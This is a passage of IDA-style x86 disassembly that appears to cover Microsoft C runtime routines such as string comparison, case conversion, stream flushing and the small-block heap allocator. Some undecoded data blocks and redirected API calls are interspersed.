add esp, 20h cmp edi, ebx jz short loc_41DED7 push edi call sub_41BEB5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DED7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41DED7 push [ebp+var_4] push [ebp+arg_0] call sub_41C890 pop ecx pop ecx loc_41DED7: ; CODE XREF: sub_41DE4A+53j ; sub_41DE4A+61j ... push [ebp+var_4] call sub_41BA91 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj ; sub_41DE4A+32j pop ebx leave retn sub_41DE4A endp ; =============== S U B R O U T I N E ======================================= sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DEFF push 4 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DEFF: ; CODE XREF: sub_41DEE8+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 retn sub_41DEE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p ; sub_420DB0+88p ... arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DF27 push 8 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DF27: ; CODE XREF: sub_41DF10+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 retn sub_41DF10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DF8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DF8D test eax, 1 jz short loc_41DF6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DFBA inc esi inc edi dec eax jz short loc_41DF8A loc_41DF6D: ; CODE XREF: sub_41DF40+20j ; sub_41DF40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DFBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DFBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DF6D loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj ; sub_41DF40+84j pop edi pop esi locret_41DF8C: ; CODE XREF: sub_41DF40+6j retn ; --------------------------------------------------------------------------- loc_41DF8D: ; CODE XREF: sub_41DF40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DFC2 repe cmpsd jz short loc_41DFC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DFB5 cmp ch, dh jnz short loc_41DFB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DFB5 cmp ch, dh loc_41DFB5: ; CODE XREF: sub_41DF40+63j ; sub_41DF40+67j ... mov eax, 0 loc_41DFBA: ; CODE XREF: sub_41DF40+26j ; sub_41DF40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DFC2: ; CODE XREF: sub_41DF40+55j ; sub_41DF40+59j test eax, eax jz short loc_41DF8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DFB5 dec eax jz short loc_41DFE9 cmp dh, ch jnz short loc_41DFB5 dec eax jz short loc_41DFE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DFB5 dec eax loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj ; sub_41DF40+96j pop edi pop esi retn sub_41DF40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p ; sub_4185D3+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx push esi push edi jnz short loc_41E019 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41E0B2 cmp eax, 5Ah jg loc_41E0B2 add eax, 20h jmp loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E019: ; CODE XREF: sub_41DFEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41E04D cmp dword_43D084, esi jle short loc_41E03B push esi push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_41E045 ; --------------------------------------------------------------------------- loc_41E03B: ; CODE XREF: sub_41DFEC+42j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, esi loc_41E045: ; CODE XREF: sub_41DFEC+4Dj test eax, eax jnz short loc_41E04D loc_41E049: ; CODE XREF: sub_41DFEC+ADj mov eax, ebx jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj ; sub_41DFEC+5Bj mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41E071 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41E07A ; --------------------------------------------------------------------------- loc_41E071: ; CODE XREF: sub_41DFEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41E07A: ; CODE XREF: sub_41DFEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41E049 cmp eax, esi jnz short loc_41E0A5 movzx eax, [ebp+var_4] jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41E0B2: ; CODE XREF: sub_41DFEC+16j ; sub_41DFEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DFEC endp ; =============== S U B R O U T I N E ======================================= sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp ; sub_419AE0+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41E0CE loc_41E0C4: ; CODE XREF: sub_41E0B7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41E0C4 loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41E0B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp ; sub_418AF1+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E1A1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E1CE cmp dword_4DBE84, esi jnz short loc_41E125 cmp edi, esi jbe loc_41E1CE loc_41E104: ; CODE XREF: sub_41E0D4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E1CE inc eax inc edx inc edx cmp eax, edi jb short loc_41E104 jmp loc_41E1CE ; --------------------------------------------------------------------------- loc_41E125: ; CODE XREF: sub_41E0D4+26j mov ebx, [ebp+arg_4] mov esi, dword_4270E8 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DBE94 call esi test eax, eax jnz loc_41E1CD nop call near ptr 2680972h cmp eax, 7Ah jz short loc_41E15F loc_41E150: ; CODE XREF: sub_41E0D4+CBj ; sub_41E0D4+F7j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E167: ; CODE XREF: sub_41E0D4+B3j mov cl, [eax] test cl, cl jz short loc_41E189 mov edx, off_43CE78 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E17E inc eax loc_41E17E: ; CODE XREF: sub_41E0D4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E167 loc_41E189: ; CODE XREF: sub_41E0D4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DBE94 call esi test eax, eax jnz short loc_41E1CE jmp short loc_41E150 ; --------------------------------------------------------------------------- loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj cmp dword_4DBE84, esi jnz short loc_41E1B4 push [ebp+arg_4] call sub_41B9C0 pop ecx jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DBE94 nop call near ptr 26F0000h cmp eax, esi jz short loc_41E150 loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj dec eax loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj ; sub_41E0D4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41E0D4 endp ; --------------------------------------------------------------------------- db 0C4h dd 29C8A86Dh, 122F4F2h, 37200F44h, 0A164812Fh, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 48E890E8h, 3302433Ah, 89D48AD2h dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 0C4E8FC75h, 90000058h, 4339C3E8h, 0D38CA302h, 82E8004Dh dd 0A3000057h, 4DBE34h, 552BE8h, 546DE800h, 0F9E80000h dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2431D88h, 53FEE8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 65E89056h, 5002271Dh, 0FE2F80E8h, 0A04589FFh dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p ; ___:00423721p ... arg_0 = dword ptr 4 cmp dword_4DBE3C, 1 jnz short loc_41E2D7 call sub_423D98 loc_41E2D7: ; CODE XREF: sub_41E2C9+7j push [esp+arg_0] call sub_423DD1 push 0FFh call off_43AE40 pop ecx pop ecx retn sub_41E2C9 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DBE3C dd 0E8057501h, 5A9Ch, 42474FFh, 5ACCE8h, 0FF685900h, 90000000h dd 0A579A4E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap ; sub_42423B+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DD140 jnb loc_41E3AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E3AC push edi call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E38B cmp edi, 1 jz short loc_41E359 cmp edi, 2 jnz short loc_41E36F loc_41E359: ; CODE XREF: sub_41E312+40j push 2 call sub_4240AA push 1 mov ebp, eax call sub_4240AA pop ecx cmp eax, ebp pop ecx jz short loc_41E38B loc_41E36F: ; CODE XREF: sub_41E312+45j push edi call sub_4240AA pop ecx push eax nop call near ptr 26608D5h test eax, eax jnz short loc_41E38B nop call near ptr 2680972h mov ebp, eax jmp short loc_41E38D ; --------------------------------------------------------------------------- loc_41E38B: ; CODE XREF: sub_41E312+3Bj ; sub_41E312+5Bj ... xor ebp, ebp loc_41E38D: ; CODE XREF: sub_41E312+77j push edi call sub_424030 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E3A8 push ebp call sub_420C7F pop ecx jmp short loc_41E3BD ; --------------------------------------------------------------------------- loc_41E3A8: ; CODE XREF: sub_41E312+8Bj xor eax, eax jmp short loc_41E3C0 ; --------------------------------------------------------------------------- loc_41E3AC: ; CODE XREF: sub_41E312+Ej ; sub_41E312+2Fj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41E3BD: ; CODE XREF: sub_41E312+94j or eax, 0FFFFFFFFh loc_41E3C0: ; CODE XREF: sub_41E312+98j pop edi pop esi pop ebp pop ebx retn sub_41E312 endp ; =============== S U B R O U T I N E ======================================= sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E3EE test al, 8 jz short loc_41E3EE push dword ptr [esi+8] call sub_41BA91 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj ; sub_41E3C5+Ej pop esi retn sub_41E3C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp ; sub_41E490+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E402 push esi call sub_41E490 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E402: ; CODE XREF: sub_41E3F0+7j push esi call sub_41E42B test eax, eax pop ecx jz short loc_41E412 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E412: ; CODE XREF: sub_41E3F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E427 push dword ptr [esi+10h] call sub_4240E7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E427: ; CODE XREF: sub_41E3F0+26j xor eax, eax pop esi retn sub_41E3F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap ; ___:0041DAC2p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E478 test ax, 108h jz short loc_41E478 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E478 push edi push eax push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, edi jnz short loc_41E471 mov eax, [esi+0Ch] test al, 80h jz short loc_41E478 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E478 ; --------------------------------------------------------------------------- loc_41E471: ; CODE XREF: sub_41E42B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E478: ; CODE XREF: sub_41E42B+14j ; sub_41E42B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E42B endp ; =============== S U B R O U T I N E ======================================= sub_41E487 proc near ; CODE XREF: sub_4241E3p push 1 call sub_41E490 pop ecx retn sub_41E487 endp ; =============== S U B R O U T I N E ======================================= sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap ; sub_41E487+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DD020, esi jle short loc_41E4EE loc_41E4A1: ; CODE XREF: sub_41E490+5Cj mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_41E4E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E4E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E4CB push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E4E5 inc ebx jmp short loc_41E4E5 ; --------------------------------------------------------------------------- loc_41E4CB: ; CODE XREF: sub_41E490+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E4E5 test cl, 2 jz short loc_41E4E5 push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E4E5 or edi, eax loc_41E4E5: ; CODE XREF: sub_41E490+1Bj ; sub_41E490+23j ... inc esi cmp esi, dword_4DD020 jl short loc_41E4A1 loc_41E4EE: ; CODE XREF: sub_41E490+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E4F9 mov eax, edi loc_41E4F9: ; CODE XREF: sub_41E490+65j pop edi pop esi pop ebx retn sub_41E490 endp ; =============== S U B R O U T I N E ======================================= sub_41E4FD proc near ; CODE XREF: ___:0041E660p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call near ptr 2690000h nop cmp word ptr [eax], 5A4Dh jnz short loc_41E528 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41E528 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41E528: ; CODE XREF: sub_41E4FD+15j ; sub_41E4FD+1Cj pop esi retn sub_41E4FD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41C500 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26D04D8h test eax, eax jz short loc_41E56D cmp dword ptr [ebp-88h], 2 jnz short loc_41E56D cmp dword ptr [ebp-94h], 5 jb short loc_41E56D push 1 pop eax jmp loc_41E66F ; --------------------------------------------------------------------------- loc_41E56D: ; CODE XREF: ___:0041E551j ; ___:0041E55Aj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 2860000h nop test eax, eax jz loc_41E65C xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41E5AF loc_41E59C: ; CODE XREF: ___:0041E5ADj mov al, [ecx] cmp al, 61h jl short loc_41E5AA cmp al, 7Ah jg short loc_41E5AA sub al, 20h mov [ecx], al loc_41E5AA: ; CODE XREF: ___:0041E5A0j ; ___:0041E5A4j inc ecx cmp [ecx], bl jnz short loc_41E59C loc_41E5AF: ; CODE XREF: ___:0041E59Aj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41C850 add esp, 0Ch test eax, eax jnz short loc_41E5D1 lea eax, [ebp-122Ch] jmp short loc_41E61A ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: ___:0041E5C7j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2670000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41E605 loc_41E5F2: ; CODE XREF: ___:0041E603j mov al, [ecx] cmp al, 61h jl short loc_41E600 cmp al, 7Ah jg short loc_41E600 sub al, 20h mov [ecx], al loc_41E600: ; CODE XREF: ___:0041E5F6j ; ___:0041E5FAj inc ecx cmp [ecx], bl jnz short loc_41E5F2 loc_41E605: ; CODE XREF: ___:0041E5F0j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41C2E0 pop ecx pop ecx loc_41E61A: ; CODE XREF: ___:0041E5CFj cmp eax, ebx jz short loc_41E65C push 2Ch push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx jz short loc_41E65C inc eax mov ecx, eax cmp [eax], bl jz short loc_41E641 loc_41E633: ; CODE XREF: ___:0041E63Fj cmp byte ptr [ecx], 3Bh jnz short loc_41E63C mov [ecx], bl jmp short loc_41E63D ; --------------------------------------------------------------------------- loc_41E63C: ; CODE XREF: ___:0041E636j inc ecx loc_41E63D: ; CODE XREF: ___:0041E63Aj cmp [ecx], bl jnz short loc_41E633 loc_41E641: ; CODE XREF: ___:0041E631j push 0Ah push ebx push eax call sub_41C586 add esp, 0Ch cmp eax, 2 jz short loc_41E66F cmp eax, 3 jz short loc_41E66F cmp eax, 1 jz short loc_41E66F loc_41E65C: ; CODE XREF: ___:0041E586j ; ___:0041E61Cj ... lea eax, [ebp-4] push eax call sub_41E4FD cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41E66F: ; CODE XREF: ___:0041E568j ; ___:0041E650j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 451977E8h dd 0A3C08502h, 4DD384h, 93E83674h, 83FFFFFEh, 88A303F8h dd 75004DD3h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 0E890004Dh dd 2442751h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h dd 191EE890h, 0C085023Ah, 4DD37CA3h, 0C3017500h, 4244C8Bh dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E717 proc near ; CODE XREF: sub_41BA91+17p ; sub_41BBE2+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DD378 lea ecx, [eax+eax*4] mov eax, dword_4DD37C lea ecx, [eax+ecx*4] loc_41E727: ; CODE XREF: sub_41E717+26j cmp eax, ecx jnb short loc_41E73F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E741 add eax, 14h jmp short loc_41E727 ; --------------------------------------------------------------------------- loc_41E73F: ; CODE XREF: sub_41E717+12j xor eax, eax locret_41E741: ; CODE XREF: sub_41E717+21j retn sub_41E717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E742 proc near ; CODE XREF: sub_41BA91+23p ; sub_41BBE2+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41EA66 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E818 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E7A6 push 3Fh pop edx loc_41E7A6: ; CODE XREF: sub_41E742+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E7FA cmp edx, 20h jnb short loc_41E7D1 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E7F2 ; --------------------------------------------------------------------------- loc_41E7D1: ; CODE XREF: sub_41E742+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E7F2: ; CODE XREF: sub_41E742+86j ; sub_41E742+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E7FD ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E742+6Aj mov ecx, [ebp+var_4] loc_41E7FD: ; CODE XREF: sub_41E742+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E818: ; CODE XREF: sub_41E742+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E826 push 3Fh pop edx loc_41E826: ; CODE XREF: sub_41E742+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E8C9 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E84B mov ebx, esi loc_41E84B: ; CODE XREF: sub_41E742+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E85D mov edx, esi loc_41E85D: ; CODE XREF: sub_41E742+117j cmp ebx, edx jz short loc_41E8C4 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E8AC cmp ebx, 20h jnb short loc_41E88D mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E8AC ; --------------------------------------------------------------------------- loc_41E88D: ; CODE XREF: sub_41E742+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E8AC: ; CODE XREF: sub_41E742+128j ; sub_41E742+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E8C4: ; CODE XREF: sub_41E742+11Dj mov esi, [ebp+arg_4] jmp short loc_41E8CC ; --------------------------------------------------------------------------- loc_41E8C9: ; CODE XREF: sub_41E742+EDj mov ebx, [ebp+arg_0] loc_41E8CC: ; CODE XREF: sub_41E742+185j cmp [ebp+var_C], 0 jnz short loc_41E8DA cmp ebx, edx jz loc_41E95B loc_41E8DA: ; CODE XREF: sub_41E742+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E95B mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E932 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E921 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E921: ; CODE XREF: sub_41E742+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E95B ; --------------------------------------------------------------------------- loc_41E932: ; CODE XREF: sub_41E742+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E948 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E948: ; CODE XREF: sub_41E742+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E95B: ; CODE XREF: sub_41E742+192j ; sub_41E742+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41EA66 mov eax, dword_4DD374 test eax, eax jz loc_41EA58 mov ecx, dword_4DD36C mov esi, dword_427068 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DD36C mov eax, dword_4DD374 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DD374 mov ecx, dword_4DD36C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DD374 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DD374 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E9E9 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DD374 loc_41E9E9: ; CODE XREF: sub_41E742+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41EA58 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DD374 push dword ptr [eax+10h] push 0 push dword_4DD384 nop call near ptr 27B0000h mov eax, dword_4DD378 mov edx, dword_4DD37C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DD374 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D670 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DD378 cmp eax, dword_4DD374 jbe short loc_41EA4E sub [ebp+arg_0], 14h loc_41EA4E: ; CODE XREF: sub_41E742+306j mov eax, dword_4DD37C mov dword_4DD370, eax loc_41EA58: ; CODE XREF: sub_41E742+234j ; sub_41E742+2ABj mov eax, [ebp+arg_0] mov dword_4DD36C, edi mov dword_4DD374, eax loc_41EA66: ; CODE XREF: 